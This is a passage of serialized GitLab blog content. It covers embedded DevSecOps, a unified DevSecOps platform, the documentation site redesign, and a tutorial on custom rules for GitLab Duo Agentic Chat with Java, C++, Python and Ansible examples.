systems leader at a GitLab customer explained, “No embedded engineers graduating from college today know legacy tools like Perforce. They know Git. These young engineers will work at a company for six months on legacy tools, then quit.” Companies using outdated tools may lose their engineering future.\n- This talent advantage translates into competitive superiority. Tech-forward companies that attract top engineers with modern practices achieve remarkable results. For example, in 2024, [SpaceX](https://spacenews.com/spacex-launch-surge-helps-set-new-global-launch-record-in-2024/) performed more orbital launches than the rest of the world combined. Tech-forward companies excel at software development and embrace a modern development culture. This, among other things, creates efficiencies that legacy companies struggle to match. \n- The rising costs of embedded development — driven by long feedback cycles — create an urgent need for embedded DevSecOps. When developers have to wait weeks to test code on hardware test benches, productivity remains inherently low. Engineers lose context and must switch contexts when results arrive. The problem worsens when defects enter the picture. Bugs become more expensive to fix the later they're discovered. Long feedback cycles magnify this problem in embedded systems.\n\nOrganizations are adopting embedded DevSecOps to help combat these challenges.\n## Priority transformation areas\nBased on these market forces, forward-thinking embedded systems leaders are implementing embedded DevSecOps in the following ways. \n### From hardware bottlenecks to continuous testing\nHardware-testing bottlenecks represent one of the most significant constraints in traditional embedded development. These delays create the unfavorable economics described earlier — when developers wait weeks for hardware access, defect costs spiral.\nAddressing this challenge requires a multifaceted approach including: \n* Automating the orchestration of expensive shared hardware test benches among embedded developers  \n* Integrating both SIL (Software-in-the-Loop) and HIL (Hardware-in-the-Loop) testing into automated CI pipelines  \n* Standardizing builds with version-controlled environments\n\nEmbedded developers can accomplish this with GitLab's [On-Premises Device Cloud](https://gitlab.com/gitlab-accelerates-embedded/comp/device-cloud), a CI/CD component. Through automating the orchestration of firmware tests on virtual and real hardware, teams are better positioned to reduce feedback cycles from weeks to hours. They also can catch more bugs early on in the software development lifecycle.\n### Automating compliance and security governance\nEmbedded systems face strict regulatory requirements. Manual compliance processes are unsustainable.\nLeading organizations are transforming how they comply with these requirements by: \n* Replacing manual workflows with automated [compliance frameworks](https://about.gitlab.com/blog/introducing-custom-compliance-frameworks-in-gitlab/)  \n* Integrating specialized functional safety, security, and code quality tools into automated continuous integration pipelines  \n* Automating approval workflows, enforcing code reviews, and maintaining audit trails  \n* Configuring compliance frameworks for specific standards like ISO 26262 or DO-178C\n\nThis approach enables greater compliance maturity without additional headcount — turning what was once a burden into a competitive advantage. One leading electric vehicle (EV) manufacturer executes 120,000 CI/CD jobs per day with GitLab, many of which include compliance checks. And they can fix and deploy bug fixes to vehicles within an hour of discovery. This level of scale and speed would be extremely difficult without automated compliance workflows.\n### Enabling collaborative innovation\nHistorically, for valid business and technical reasons, embedded developers have largely worked alone at their desks. Collaboration has been limited. Innovative organizations break down these barriers by enabling shared code visibility through integrated source control and CI/CD workflows. These modern practices attract and retain engineers while unlocking innovation that would remain hidden in isolated workflows.\nAs one director of DevOps at a tech-forward automotive manufacturer (a GitLab customer) explains: \"It's really critical for us to have a single pane of glass that we can look at and see the statuses. The developers, when they bring a merge request, are aware of the status of a given workflow in order to move as fast as possible.\" This transparency accelerates innovation, enabling automakers to rapidly iterate on software features that differentiate their vehicles in an increasingly competitive market.\n## The window of opportunity\nEmbedded systems leaders have a clear window of opportunity to gain a competitive advantage through DevSecOps adoption. But the window won't stay open forever. Software continues to become the primary differentiator in embedded products, and the gap between leaders and laggards will only widen.\nOrganizations that successfully adopt DevSecOps will reduce costs, accelerate time-to-market, and unlock innovation that differentiates them in the market. The embedded systems leaders of tomorrow are the ones embracing DevSecOps today.\n> While this article explored why now is the critical time for embedded teams to adopt DevSecOps, you may be wondering about the practical steps to get started. Learn how to put these concepts into action with our guide: [4 ways to accelerate embedded development with GitLab](https://about.gitlab.com/blog/4-ways-to-accelerate-embedded-development-with-gitlab/).",[964,765,109,965],"embedded DevOps","automotive",{"featured":6,"template":797,"slug":967},"why-now-is-the-time-for-embedded-devsecops",{"content":969,"config":978},{"title":970,"description":971,"authors":972,"heroImage":974,"date":975,"body":976,"category":721,"tags":977},"Why are organizations moving to a unified DevSecOps platform?","Learn about GitLab's comprehensive, unified DevSecOps platform, which integrates tools, enhances security, and leverages AI for efficient software development.",[973],"Itzik Gan Baruch","https://res.cloudinary.com/about-gitlab-com/image/upload/v1750097063/Blog/Hero%20Images/Blog/Hero%20Images/securitylifecycle-light_securitylifecycle-light.png_1750097063583.png","2025-06-02","In today’s modern software development landscape, many organizations are migrating to the cloud and adopting DevSecOps processes. However, this transition presents a significant challenge: a proliferation of tools and legacy systems not designed for modern development. To adapt these systems to DevSecOps, organizations must create integrations between multiple tools for task management, CI/CD, security, monitoring, and more. The result? Operational complexity, high maintenance costs, and disrupted collaboration between development and operations teams. Additionally, developers experience frustration as they constantly switch between different tools to complete a single development flow – from planning to production.\n\n![The complexity and operational costs of integrating multiple tools into a DevSecOps process](https://res.cloudinary.com/about-gitlab-com/image/upload/v1750097077/Blog/Content%20Images/Blog/Content%20Images/image1_aHR0cHM6_1750097077287.jpg)\n\n\u003Ccenter>\u003Ci>How complex it can be to integrate multiple tools into a DevSecOps process\u003C/i>\u003C/center>\n\n\u003Cbr>\u003C/br>\n\nThe good news is that a solution exists: A comprehensive DevSecOps platform offering a unified approach to software development.\n\nThese platforms are built for organizations operating in cloud-based and DevSecOps environments, consolidating all software development stages — from code management, CI/CD processes, task management, and security to AI-driven automation — into a single platform. Centralizing all software development workflows in a unified interface enables development and operations teams to work more efficiently, streamline communication, and minimize operational complexities and disruptions.\n\nFurthermore, the developer experience significantly improves — engineers are much happier working with a product designed specifically for modern development needs.\n\nIn the sections below, we’ll explore how GitLab helps teams overcome common challenges — whether it’s managing projects and tasks, ensuring security and compliance, or adopting AI-powered development tools – all within a single, unified platform.\n\n## Integrated Agile project management\n\nGitLab provides a holistic solution in which project and task management are fully integrated across all stages of the software development lifecycle, such as CI/CD, enabling real-time tracking of development progress. Issues and epics directly link to automation processes, allowing a seamless flow from planning to production deployment. This approach enhances transparency across teams, reduces delays, and ensures that all stakeholders have a clear view of the development status in real-time.\n\n![Issues and epics directly link to automation processes, allowing a seamless flow from planning to production deployment.](https://res.cloudinary.com/about-gitlab-com/image/upload/v1750097077/Blog/Content%20Images/Blog/Content%20Images/image3_aHR0cHM6_1750097077288.jpg)\n\n## Built-in security\nGitLab strongly emphasizes integrating security capabilities end-to-end (security first). The platform integrates a wide range of automated security scanners, including:\n\n- [Dependency Scanning](https://docs.gitlab.com/user/application_security/dependency_scanning/)\n- [Static Application Security Testing (SAST)](https://docs.gitlab.com/user/application_security/sast/)\n- [Dynamic Application Security Testing (DAST)](https://docs.gitlab.com/user/application_security/dast/)\n- [Secret Detection](https://docs.gitlab.com/user/application_security/secret_detection/)\n- [Container Scanning](https://docs.gitlab.com/user/application_security/container_scanning/)\n\n![Security scanning capabilities integrated into the CI/CD process at various development stages](https://res.cloudinary.com/about-gitlab-com/image/upload/v1750097077/Blog/Content%20Images/Blog/Content%20Images/image2_aHR0cHM6_1750097077289.jpg)\n\n\u003Ccenter>\u003Ci>Security scanning capabilities integrated into the CI/CD process at various development stages\u003C/i>\u003C/center>\n\n\u003Cbr>\u003C/br>\n\nThese security checks are built directly into every phase of the software development lifecycle, including the CI/CD pipeline, to provide developers with immediate feedback on potential security issues early in the development cycle.\n\n## Compliance and regulatory requirements\n\nBeyond efficiency and user experience, many organizations — especially those in regulated industries such as financial institutions or large enterprises — must ensure their processes comply with strict security and compliance standards. They need the ability to enforce policies for different projects, such as mandating a security scanner every time a CI/CD pipeline runs on specific code branches (e.g., main or protected branches) or requiring specific approvals before merging code into the main branch.\n\nWith GitLab, this becomes easier through [Compliance Frameworks](https://about.gitlab.com/blog/introducing-custom-compliance-frameworks-in-gitlab/), a feature that allows organizations to define and enforce structured policies for selected projects. This ensures compliance with automatic regulatory and security requirements while maintaining a seamless and efficient developer workflow.\n\n## AI-powered development\n\n[GitLab Duo](https://about.gitlab.com/gitlab-duo/) provides AI-driven assistance across all development stages, eliminating the need to switch to external tools. Every AI-powered request is processed within the full context of the project and codebase, enabling smarter and more efficient work.\n\nAI can perform example tasks such as:\n- automatic task description generation\n- smart summarization of issue discussions, saving developers valuable time\n- advanced code review capabilities\n- code improvement and optimization suggestions\n- automated test generation\n- security vulnerability detection and remediation\n- troubleshooting root cause analysis for CI pipeline failures\n- privacy and Data Security\n\nUnderstanding the needs of regulated organizations, particularly in the public and financial sectors, GitLab offers a unique solution for running AI models in a secure environment. GitLab Duo Self-Hosted enables organizations to maintain full control over data privacy, security, and the deployment of large language models ([LLMs](https://about.gitlab.com/blog/what-is-a-large-language-model-llm/)) in their own infrastructure, ensuring:\n- data privacy protection\n- compliance with regulatory requirements\n- maximum security\n- AI benefits without external network dependencies or risks\n\n## Summary\n\nOrganizations need a comprehensive DevSecOps platform to streamline processes, enhance security, and accelerate innovation. GitLab delivers precisely that — a single application consolidating all essential development, security, and operational tools with built-in security integration and AI-powered automation.\n\nReady to see GitLab in action? Explore interactive demos of:\n\n- [GitLab Premium and Ultimate with Duo](https://gitlab.navattic.com/gitlab-premium-with-duo) – experience AI-powered development assistance\n\n- [Adding security to the CI/CD pipeline](https://gitlab.navattic.com/gitlab-scans) – see how integrated security scanning protects your software\n\n- [Compliance frameworks](https://gitlab.navattic.com/compliance) – discover how GitLab enforces policies across projects for better governance\n\n> Join the GitLab 18 virtual launch event to learn about the future of the DevSecOps platform, including the role of agentic AI. [Register today!](https://about.gitlab.com/eighteen/)",[717,485,765],{"slug":979,"featured":6,"template":797},"why-are-organizations-moving-to-a-unified-devsecops-platform",{"category":729,"slug":733,"posts":981},[982,996,1009],{"config":983,"content":985},{"slug":984,"featured":6,"template":797},"docs-site-design-overhaul",{"title":986,"description":987,"authors":988,"heroImage":992,"date":993,"category":733,"tags":994,"body":995},"The GitLab documentation site gets a major design overhaul","Learn about the features of our newly designed product documentation site, which includes an easy way to provide feedback and the much-requested dark mode.",[989,990,991],"Suzanne Selhorn","Sarah German","Julia Miocene","blog/hero%20images/workflow_1800x945.png","2025-08-20",[269],"The GitLab documentation site now has a completely updated look-and-feel.\nWhat started as a request for targeted design fixes grew into a comprehensive redesign that delivers five major improvements:\n\n## Top five new features\n\n**Dark mode**: The most requested feature is finally here. Toggle between light and dark themes in the upper-right corner\nfor improved readability and reduced eye strain.\n\n**Brand alignment**: Our docs now reflect the modern colors and design language of both the GitLab marketing site and product UI,\ncreating a cohesive experience across all GitLab properties.\n\n**Simplified feedback**: Users can now give thumbs up/down feedback and add comments directly on any documentation page.\n\n**Redesigned navigation**: We've moved primary navigation to the top and restructured our left sidebar to make our 2,300+ pages\nfeel less overwhelming and more discoverable.\n\n**Addressed technical debt**: Dozens of small but impactful fixes to typography, spacing, code blocks, and visual inconsistencies\nthat had accumulated over the years.\n\n## Why now? The foundation for change\n\nEarlier this year, led by Sarah German, our documentation engineering team completed a critical replatforming project,\nmigrating from Nanoc to Hugo. While largely invisible to users, this change delivered dramatic performance improvements — 130x faster local builds\nand 30x faster full builds — and provided the solid technical foundation needed for these improvements.\n\nThis replatforming was essential groundwork that enabled us to focus on user experience enhancements rather than wrestling with outdated infrastructure.\n\nLet's look more closely at the changes.\n\n### Dark mode\n\nPossibly the biggest news for this release: dark mode is now available across the entire documentation site.\nChange the setting in the upper-right corner, and the site will remember your preference.\nFor many users, dark mode makes content easier to read and reduces eye strain.\n\n![image of dark mode](https://res.cloudinary.com/about-gitlab-com/image/upload/v1755617168/gz45eaygeb0nizf1kwyu.png)\n\n### Brand alignment with marketing site\n\nThe new design creates visual harmony between our documentation and the broader GitLab experience.\nWe've incorporated GitLab's modern color palette and design elements while maintaining the clean, functional feel users expect from technical documentation.\n\n![image of new homepage](https://res.cloudinary.com/about-gitlab-com/image/upload/v1755617230/ialfadj3i3theizk08p5.png)\n\nThe updated homepage focuses on our primary documentation areas, including tutorials and getting started guides that help new users learn GitLab.\n\n### Simplified feedback mechanism\n\nWe've eliminated friction in the feedback process. Instead of requiring users to leave the docs site and create GitLab issues,\nthey can now provide immediate feedback with thumbs up/down ratings and comments directly on any page.\nScroll down on any documentation page to see this new functionality in action.\n\n![image of feedback area](https://res.cloudinary.com/about-gitlab-com/image/upload/v1755617289/rjocpkmqumacaw7thjqi.png)\n\n### Navigation redesign\n\nOne of our biggest challenges was organizing over 2,300 pages in a way that doesn't overwhelm users.\nOur previous single left navigation, while comprehensive, created a daunting experience:\n\n![image of former navigation](https://res.cloudinary.com/about-gitlab-com/image/upload/v1755617332/k75fwr3rhjxfjyxmc49d.png)\n\nThe new approach moves primary navigation to the top, creating shorter, more manageable table of contents sections that feel less overwhelming to traverse:\n\n![image of new navigation](https://res.cloudinary.com/about-gitlab-com/image/upload/v1755617366/wziabrijury9jl5j7ica.png)\n\nThis structure better reflects the relationships between features while making individual sections more digestible.\n\n### Style updates and technical debt\n\nOver the years, small style inconsistencies had accumulated — inconsistent padding in lists, extra spacing around alerts, and various typography issues.\nWhile these might seem minor, they created a subtly jarring experience for daily users.\n\nOur tabs and code blocks received particular attention, becoming better-defined in the process.\n\nBefore, tabs with code looked like this:\n\n![image of old tabs with code block](https://res.cloudinary.com/about-gitlab-com/image/upload/v1755617460/jsa2gz3b2slqu0udrg28.png)\n\nAnd now, with a few small tweaks, they look like this:\n\n![image of new tabs with code block](https://res.cloudinary.com/about-gitlab-com/image/upload/v1755617493/jpxiybvnadsex39lyawu.png)\n\nThese \"papercut\" fixes may be small individually, but collectively they create a much more polished, professional experience.\n\n## What's next?\n\nThis redesign represents how we iterate at GitLab — shipping meaningful improvements while building toward an even better future.\nWe expect to continue refining the structure and adding features that help users find what they need more easily.\n\nUser feedback will drive our next iterations, and with our new simplified feedback mechanism, we're better positioned than ever\nto hear directly from our documentation users.\n\n## The team\n\nThis transformation was a true team effort. Kudos to UX Papercuts and Julia Miocene for taking what started as a simple request and turning\nit into a comprehensive design vision. Thanks to the engineers in Technical Writing: Sarah German, Pearl Latteier,\nand Hiru Fernando, who brought these designs to life.\n\nThe new design balances information density with visual clarity, modernizes our site while maintaining usability and accessibility standards,\nand represents a significant step forward in both user experience and visual design.\n",{"config":997,"content":999},{"slug":998,"featured":6,"template":797},"custom-rules-duo-agentic-chat-deep-dive",{"title":1000,"description":1001,"authors":1002,"heroImage":1004,"date":1005,"category":733,"tags":1006,"body":1008},"Custom rules in GitLab Duo Agentic Chat for greater developer efficiency","Discover how AI can understand your codebase, follow your conventions, and generate production-ready code with minimal review cycles.",[1003],"Michael Friedrich","https://res.cloudinary.com/about-gitlab-com/image/upload/v1750099203/Blog/Hero%20Images/Blog/Hero%20Images/blog-image-template-1800x945%20%2820%29_2bJGC5ZP3WheoqzlLT05C5_1750099203484.png","2025-08-12",[431,721,1007],"ai","Transform GitLab Duo from a generic AI assistant into your team's personalized coding expert with custom rules. Stop constantly correcting AI suggestions that use wrong Java versions, incorrect Python binaries, or violate your style guides. This deep-dive shows you how to create intelligent custom rules that automatically enforce your development standards.\n\nWe'll cover:\n\n- Version control: Lock AI to Java 8, handle Python3 environments, and generate multi-platform C++ code\n- Style enforcement: Prevent C `goto` anti-patterns, enforce VueJS design patterns, and ensure Ansible linter compliance\n- DevSecOps automation: Bootstrap projects with proper CI/CD security scanning and documentation standards\n\nEach example includes working GitLab projects to fork, complete configurations, and before/after demonstrations. Learn how banking systems stay Java 8 compliant, IoT collectors work cross-platform, and VueJS components follow GitLab's production standards.\n\n## Table of Contents\n\n- [First steps with custom rules for Duo Agentic Chat](#first-steps-with-custom-rules-for-duo-agentic-chat)\n  - [Requirements](#requirements)\n  - [Quick start: 5-minute success](#quick-start-5-minute-success)\n  - [Guidelines for custom rule development](#guidelines-for-custom-rule-development)\n  - [Ask GitLab Duo Chat about existing development style guides](#ask-gitlab-duo-chat-about-existing-development-style-guides)\n- [More custom rules use cases](#more-custom-rules-use-cases)\n  - [Use cases: Version and platform support](#use-cases-version-and-platform-support)\n    - [Java version requirements](#java-version-requirements)\n    - [C++ Multi-platform support (Windows, Linux, macOS)](#c-multi-platform-support-windows-linux-macos)\n  - [Use case: Development environments](#use-case-development-environments)\n    - [Python 3 development environment](#python-3-development-environment)\n    - [Ansible linter compliance](#ansible-linter-compliance)\n  - [Use case: Design patterns](#use-case-design-patterns)\n    - [Avoid anti-patterns with C and goto statements](#avoid-anti-patterns-with-c-and-goto-statements)\n    - [Frontend style guides for VueJS 3](#frontend-style-guides-for-vuejs-3)\n  - [Use case: DevSecOps workflows](#use-case-devsecops-workflows)\n    - [Issue and MR templates](#issue-and-mr-templates)\n    - [Build tools](#build-tools)\n    - [CI/CD configuration preferences](#cicd-configuration-preferences)\n    - [Security scanning preferences](#security-scanning-preferences)\n    - [Tests and linters](#tests-and-linters)\n    - [Documentation generation](#documentation-generation)\n    - [Refactoring and code change requirements](#refactoring-and-code-change-requirements)\n    - [Onboarding, requirements, licenses](#onboarding-requirements-licenses)\n    - [Git flows](#git-flows)\n- [Distribution and testing of custom rules](#distribution-and-testing-of-custom-rules)\n  - [Custom Rules resources](#custom-rules-resources)\n- [Fun activity: Explore behavior changes](#fun-activity-explore-behavior-changes)\n- [Conclusion](#conclusion)\n\n\n## First steps with custom rules for Duo Agentic Chat\n\nFollow the [documentation](https://docs.gitlab.com/user/gitlab_duo_chat/agentic_chat/#create-custom-rules) to create custom rules for GitLab Duo Agentic Chat in the `.gitlab/duo/chat-rules.md` directory in a new or existing GitLab project in your IDE.\n\nYou can start with free-form text instructions, and iterate on the best outcome. Custom rules support [Markdown](https://docs.gitlab.com/user/markdown/) for better structuring.\n\n- Use markdown headings (`#`, `##`, etc) to create sections.\n- Use markdown lists (`-`) to provide concise instructions for LLMs and Agents.\n- Escape file paths with single backticks, and use code blocks with indent or three backticks.\n\nExample:\n\n```markdown\n# Development guide\n\n## Frontend: VueJS\n\n### Styling Pattern\n- Do not use `\u003Cstyle>` tags in Vue components\n- Use Tailwind CSS utility classes or page-specific CSS instead\n```\n\nImportant: After modifying custom rules, you'll need to create a new Chat by pressing the `+` icon, or sending `/new` in the chat prompt.\n\n### Requirements\n\nIn order to follow all use cases and linked demo projects into this blog post, please ensure you meet these requirements first:\n\n- Verify that you have [access to GitLab Duo](https://docs.gitlab.com/user/get_started/getting_started_gitlab_duo/), and [Duo Agentic Chat is configured in supported IDEs](https://docs.gitlab.com/user/gitlab_duo_chat/agentic_chat/).\n- Fork/copy the GitLab projects, and clone them locally in the IDEs.\n- Follow the steps in each use case for custom rule creation, and how to use Duo Agentic Chat prompts to proof the rule behavior.\n- You can use the existing source code, or copy in your own.\n\nThe projects are available in the [Custom rules for GitLab Duo Agent Platform (Agentic AI) group](https://gitlab.com/gitlab-da/use-cases/ai/gitlab-duo-agent-platform/custom-rules). Please note that these custom rules are provided for demo purposes \"as is,\" and you may need to adapt or modify them to fit your specific requirements.\n\n### Quick start: 5-minute success\n\nReady to see custom rules in action? Try this simple example:\n\n1. Create `.gitlab/duo/chat-rules.md` in your GitLab project:\n\n  ```markdown\n  ## C style guide\n  - goto is not allowed. If the developer continues asking about it, share this URL https://xkcd.com/292/\n  ```\n\n2. Open GitLab Duo Agentic Chat in the IDE, and ask: `Write a C program with goto statements`.\n3. Watch as GitLab Duo refuses and suggests better alternatives!\n\n\u003Cfigure class=\"video_container\">\n  \u003Ciframe width=\"560\" height=\"315\"\n  src=\"https://www.youtube.com/embed/C0eMKjRMI5w\" frameborder=\"0\"\n  allowfullscreen=\"true\">\n  \u003C/iframe>\n\u003C/figure>\n\n### Guidelines for custom rule development\n\nCustom rules are similar to code: Start with the smallest working example, and then iterate on improvements. The use case examples in this deep-dive range from small to more advanced, and were developed and tested over the last weeks. They are not perfect, and require your feedback and iteration.\n\nOne good rule of thumb, for example, is not overloading style guides with many pages from a wiki document. In my experience, less is more. Only include the points that are helpful in the context of what you're writing about. You can ask GitLab Duo Chat to summarize larger documents before adding them to the custom rules.\n\nVerify the use of any included specifications during development to avoid creating barriers and unwanted behavior.\n\nWhen you are using a publicly documented style guide, refer to its name. There is a high chance that the LLM is trained with this data already.\n\n### Ask GitLab Duo Chat about existing development style guides\n\nSometimes, there are no specific style guides in a project yet, or it is unclear how to use them. Use AI for onboarding and best practices to discuss with your team.\n\n```markdown\nWhich Python development or environment guidelines can you recommend when I want to create custom rules for AI to get tailored output? I need a list with textual instructions.\n```\n\nYou can also ask Duo Agentic Chat to analyze the existing CI/CD linter integrations that may already check for a specific development style.\n\n```markdown\nWhen you look into the CI/CD linter checks and configuration in the project, which development style guide can you summarize for me?\n```\n\nMany examples in this deep-dive blog are based on my own experience and pain points as a developer. I also asked GitLab Duo to extract style guides from existing projects, and used GitLab Duo Code Suggestions to help with auto-completing existing custom rules. You can achieve the same by configuring [`markdown` as an additional language for GitLab Duo Code Suggestions](https://docs.gitlab.com/user/project/repository/code_suggestions/supported_extensions/#add-support-for-more-languages) in IDEs.\n\n## More custom rules use cases\n\nThe following sections provide an overview of specific style guides. You can map similar programming languages and environments to your production use cases.\n\n- **Version and platform support**: Refer to the [Java section below](#java-version-requirements) to learn how to force a specific language standard for generated and created code. You can apply a similar process for C++23 and older, PHP 8, Ruby 3, etc. The [C++ section below](#c-multi-platform-support-windows-linux-macos) shows how to instruct agentic AI with multi-platform support.\n- **Development environments**: Refer to the sections below on [Python](#python-3-development-environment) and [Ansible](#ansible-linter-compliance). Specify the development environment, binaries, tools and more. You can also instruct agents with routing information where to find tests/scripts, and enforce compliance with linters.\n- **Design patterns**: You can specify comprehensive design patterns with [VueJS](#frontend-style-guides-for-vuejs-3) as an example, leveraging the GitLab production development style guides as a foundation.\n- **DevSecOps workflows**: Configure comprehensive DevSecOps practices including [CI/CD configuration](#cicd-configuration-preferences) for specific CI/CD attributes and defaults for security scanning, [tests and linters](#tests-and-linters), and [build tools](#build-tools). Frequently requested use cases for bootstrapping projects include [documentation generation](#documentation-generation) including `README.md` and architecture diagrams, [issue and MR templates](#issue-and-mr-templates), [onboarding, requirements, and licenses](#onboarding-requirements-licenses), and [Git flows](#git-flows) with `.gitignore`. Advanced techniques with custom rules are provided for [refactoring and code change requirements](#refactoring-and-code-change-requirements).\n\n### Use cases: Version and platform support\n\nSoftware development often requires specific programming language and framework versions, and single or multi-platform support. The following examples highlight these scenarios.\n\n#### Java version requirements\n\nEnterprise environments do not always use the latest and greatest software version. They often rely on versions that are maintained with security patches for a longer period of time. For example, you will find Java 7 and Java 8 still in use in some enterprises today.\n\nAlways prepending the required version in chat prompts can be cumbersome, and lead to human error, even if you only forget one time.\n\n```markdown\nImplement classes for managing banking transactions and different currencies.\n```\n\nThe example will need additional specifications for Java 8:\n\n```markdown\nUse Java 8 for the implementation.\n```\n\nTo permanently enforce Java 8, you can create a custom rule in `.gitlab/duo/chat-rules.md` and optionally add a reference epic URL when asked for code modernization:\n\n```markdown\n## Java style guide\n\n- Only Java 8 is allowed when suggesting and editing code.\n- When the user asks about code modernization and Java 9 or 21, or newer, point them to this issue to contribute: https://gitlab.com/gitlab-da/use-cases/ai/gitlab-duo-agent-platform/custom-rules/custom-rule-java-versions/-/issues/1\n```\n\nA full demonstration is available in the [Custom Rules - Java versions project](https://gitlab.com/gitlab-da/use-cases/ai/gitlab-duo-agent-platform/custom-rules/custom-rule-java-versions).\n\n\n\u003Cfigure class=\"video_container\">\n  \u003Ciframe width=\"560\" height=\"315\"\n  src=\"https://www.youtube.com/embed/iZLvpgHdABY\" frameborder=\"0\"\n  allowfullscreen=\"true\">\n  \u003C/iframe>\n\u003C/figure>\n\nThe resulting changes are available in [this MR](https://gitlab.com/gitlab-da/use-cases/ai/gitlab-duo-agent-platform/custom-rules/custom-rule-java-versions/-/merge_requests/2).\n\n#### C++ multi-platform support (Windows, Linux, macOS)\n\nApplication development in C++ can require multi-platform support, especially when running service agents on systems using Windows, Linux, and macOS. The applications are deeply integrated into customer products, and a migration to a more modern language like Go or Rust is not always possible or practical.\n\nMaintaining code that works on multiple platforms can be challenging due to differences in Operating system APIs, toolchains, library versions, and file system paths. Developers often face multiple `#if defined` pre-processor macros, nested conditions, and adding custom code and tests for each supported platform. This adds technical debt and can introduce maintenance challenges.\n\nAI can help when generating correct and platform-specific code, but it needs to know about these requirements. Agentic AI will either understand the existing code base through a knowledge graph, or developers will need to provide instructions through custom rules and chat prompts.\n\nLet's try this use case in practice. The [Custom Rule - C++ platforms - IoT Sensor Data Collector project](https://gitlab.com/gitlab-da/use-cases/ai/gitlab-duo-agent-platform/custom-rules/custom-rule-cpp-platform-iot-sensor-data-collector) implements an IoT sensor data collector and has open tasks to modernize the code base, and add multi-platform support for Linux, Windows, and macOS. You can fork the project and clone it locally.\n\nOpen the `.gitlab/duo/chat-rules.md` file and review or add the following custom rules:\n\n```markdown\n## C++ style guide\n\n- The application runs on Linux, macOS and Windows. Generate code that handles the OS API differences.\n- Use pre-processor macros for Windows and POSIX conventions for Unix (Linux, macOS).\n\n## CI/CD Configuration\n\n- Ensure that GitLab CI/CD jobs cover the different platform support. Use CI/CD job templates with extends where applicable.\n```\n\nStart a new Chat, and ask to restructure code for multi-platform support.\n\n```markdown\nPlease help me restructure the code and ensure multi-platform support.\n```\n\nYou can also refer to the issue number, or URL ([issue 3](https://gitlab.com/gitlab-da/use-cases/ai/gitlab-duo-agent-platform/custom-rules/custom-rule-cpp-platform-iot-sensor-data-collector/-/issues/3)). GitLab Duo will automatically fetch the issue content from the GitLab platform, and put it into AI context.\n\n```markdown\nPlease help me implement issue 3\n\nPlease help me implement https://gitlab.com/gitlab-da/use-cases/ai/gitlab-duo-agent-platform/custom-rules/custom-rule-cpp-platform-iot-sensor-data-collector/-/issues/3\n```\n\n\n\u003Cfigure class=\"video_container\">\n  \u003Ciframe width=\"560\" height=\"315\"\n  src=\"https://www.youtube.com/embed/C5NxOjB0R1Q\" frameborder=\"0\"\n  allowfullscreen=\"true\">\n  \u003C/iframe>\n\u003C/figure>\n\n### Use case: Development environments\n\nDevelopment environments often vary between operating systems and developers. This can be confusing for AI models generating code or suggesting changes. The following use cases illustrate these environment problems and their solutions with custom rules.\n\n#### Python 3 development environment\n\nA Python development environment usually comes with the `python` executable and `pip` package manager. However, on systems like MacOS or Ubuntu, you need to use `python3` and `pip3` to get access to more recent Python 3 versions. This can create confusion running Python scripts, creating virtual environments, and installing package dependencies.\n\nFor this custom rules use case, I installed Python using [Homebrew](https://brew.sh/) which results in a binary executable called `python3` and a package manager `pip3`.\n\nAs an example, set up a Python virtual environment, install dependencies using `pip`, and run the application:\n\n```shell\npython -m venv myenv\nsource myenv/bin/activate\n\npip install -r requirements.txt\n\npython script.py\n```\n\nThis doesn't work as expected because we need to use specific binaries with version `3`:\n\n```shell\npython3 -m venv myenv\nsource myenv/bin/activate\n\npip3 install -r requirements.txt\n\npython3 script.py\n```\n\nWe can test this problem with Agentic Chat for both, suggested code blocks, and the approval request for commands to execute. The [Custom Rule - Python3 Env Shop app project](https://gitlab.com/gitlab-da/use-cases/ai/gitlab-duo-agent-platform/custom-rules/custom-rule-python-3-env-shop-app) implements a web shop application in Python, and provides the default Python executable paths in its `README.md` file which typically gets added into Agentic Chat context.\n\n![Duo Agentic Chat, proposing the wrong binary commands](/images/blog/custom-rules-gitlab-duo-agent-platform-deepdive/gitlab-duo-custom-rules-python3-env-problem.png)\n\nIn order to overcome the problem, review `.gitlab/duo/chat-rules.md` which contains the following custom rules to enforce the Python executable names.\n\n```markdown\n## Python style guide\n\n- For Python binaries, always use python3 and pip3 when suggesting or running shell commands.\n- Detect the Python environment automatically when possible.\n```\n\nYou can also instruct agents with pre-defined routes to gather additional information through tool calling and/or MCP, when they do not attempt this automatically already.\n\nOpen a new Agentic Chat, and ask `How to run this application?` to see custom rules in action, using `python3` and `pip3` as desired.\n\n\n\u003Cfigure class=\"video_container\">\n  \u003Ciframe width=\"560\" height=\"315\"\n  src=\"https://www.youtube.com/embed/UQ2_OCvUmF0\" frameborder=\"0\"\n  allowfullscreen=\"true\">\n  \u003C/iframe>\n\u003C/figure>\n\n\nThe full source code is available in the [Custom Rule - Python3 Env Shop app project](https://gitlab.com/gitlab-da/use-cases/ai/gitlab-duo-agent-platform/custom-rules/custom-rule-python-3-env-shop-app).\n\n#### Ansible linter compliance\n\nModern Ansible for Infrastructure-as-Code tasks enforces a strict style guide, which can be verified using `ansible-lint`: It detects when Boolean values (`true`/`false`) are required instead of strings (`yes`/`no`), builtin module actions requiring the FQCN (Fully Qualified Collection Name) as parameter names, and trailing whitespaces that need trimming. CLI and IDE integrations, such as the [VS Code Ansible extension by Red Hat](https://developers.redhat.com/learning/learn:ansible:get-started-ansible-visual-studio-code-extension/resource/resources:install-and-configure-ansible-extension-visual-studio-code) help visualize these errors to developers. LLMs and chat agents might not always generate correct Ansible code and need manual work to fix it.\n\nLet's look at the problem with a concrete use case. The following example implements a basic Ansible playbook in the [Custom Rule - Ansible Environment project](https://gitlab.com/gitlab-da/use-cases/ai/gitlab-duo-agent-platform/custom-rules/custom-rule-ansible-environment) to set up a GitLab server on Ubuntu. You'll notice the Boolean values are incorrectly typed as strings (`yes`/`no`), and additional problem reports for builtin module actions and whitespace trimming.\n\n![VS Code with Ansible lint error: Wrong boolean type](/images/blog/custom-rules-gitlab-duo-agent-platform-deepdive/gitlab-duo-custom-rules-ansible-problem01-boolean.png)\n\n![VS Code with Ansible lint error: Builtin module action FQCN](/images/blog/custom-rules-gitlab-duo-agent-platform-deepdive/gitlab-duo-custom-rules-ansible-problem02-fqcn.png)\n\n![VS Code with Ansible lint error: trailing whitespaces](/images/blog/custom-rules-gitlab-duo-agent-platform-deepdive/gitlab-duo-custom-rules-ansible-problem03-whitespaces.png)\n\nLet's see how we can create custom rules to help Duo Agents fix the Ansible linter errors, and prevent them from happening in the future.\n\nFork and clone the [Custom Rule - Ansible Environment project](https://gitlab.com/gitlab-da/use-cases/ai/gitlab-duo-agent-platform/custom-rules/custom-rule-ansible-environment) and open 